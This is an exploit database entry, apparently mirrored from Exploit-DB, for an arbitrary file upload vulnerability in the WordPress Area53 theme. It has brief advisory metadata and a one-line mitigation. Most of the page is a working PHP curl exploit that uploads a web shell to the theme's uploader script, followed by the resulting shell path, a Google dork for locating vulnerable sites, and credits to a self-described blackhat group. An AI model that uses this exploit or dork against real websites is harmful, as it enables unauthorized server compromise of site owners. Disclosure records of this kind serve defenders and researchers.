WordPress Area53 theme Arbitrary File Upload Vulnerability

vendor:

Area53

by:

Byakuya

7,5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: Area53

Affected Version From: v1.0.1

Affected Version To: v1.0.5

Patch Exists: NO

Related CWE: N/A

CPE: a:themeforest:area53

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

WordPress Area53 theme Arbitrary File Upload Vulnerability

An attacker can upload a malicious file to the vulnerable WordPress Area53 theme by exploiting the Arbitrary File Upload vulnerability. The malicious file can be uploaded by sending a POST request to the vulnerable php.php file with the malicious file as a parameter. The malicious file can then be accessed at the path http://site.com/wordpress/wp-content/uploads/2013/10/up.php

Mitigation:

Ensure that the application is not vulnerable to Arbitrary File Upload vulnerability. Validate the file type and size before uploading it to the server.

Source

Exploit-DB raw data:

###################################################################################################
#_________            .___        _______                ___.   .__        
#\_   ___ \  ____   __| _/____    \      \   ______  _  _\_ |__ |__| ____  
#/    \  \/ /  _ \ / __ |/ __ \   /   |   \_/ __ \ \/ \/ /| __ \|  |/ __ \ 
#\     \___(  <_> ) /_/ \  ___/  /    |    \  ___/\     / | \_\ \  \  ___/ 
# \______  /\____/\____ |\___  > \____|__  /\___  >\/\_/  |___  /__|\___  >
#        \/            \/    \/          \/     \/            \/        \/ 
###################################################################################################
# Exploit Title: WordPress Area53 theme Arbitrary File Upload Vulnerability
# Author: Byakuya
# Date: 10/19/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://themeforest.net/item/area53-a-responsive-html5-wordpress-theme/2538737
# Affected Version: v1.0.1 - v1.0.5
# Price: $50
# Category: webapps/php
# Google dork: inurl:wp-content/themes/area53/
###################################################################################################

# Exploit

<?php
$uploadfile = "up.php";
$ch = curl_init(“http://site.com/wordpress/wp-content/themes/area53/framework/_scripts/valums_uploader/php.php”);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array(‘qqfile’=>”@$uploadfile”));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print “$postResult”;
?>

#Shell path: http://site.com/wordpress/wp-content/uploads/2013/10/up.php

#Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./Official Code-Newbie
#Facebook: https://www.facebook.com/CodeNewbieCrew
#Website: http://www.codenewbie.net
#Malaysia & Indonesia BlackHat
###################################################################################################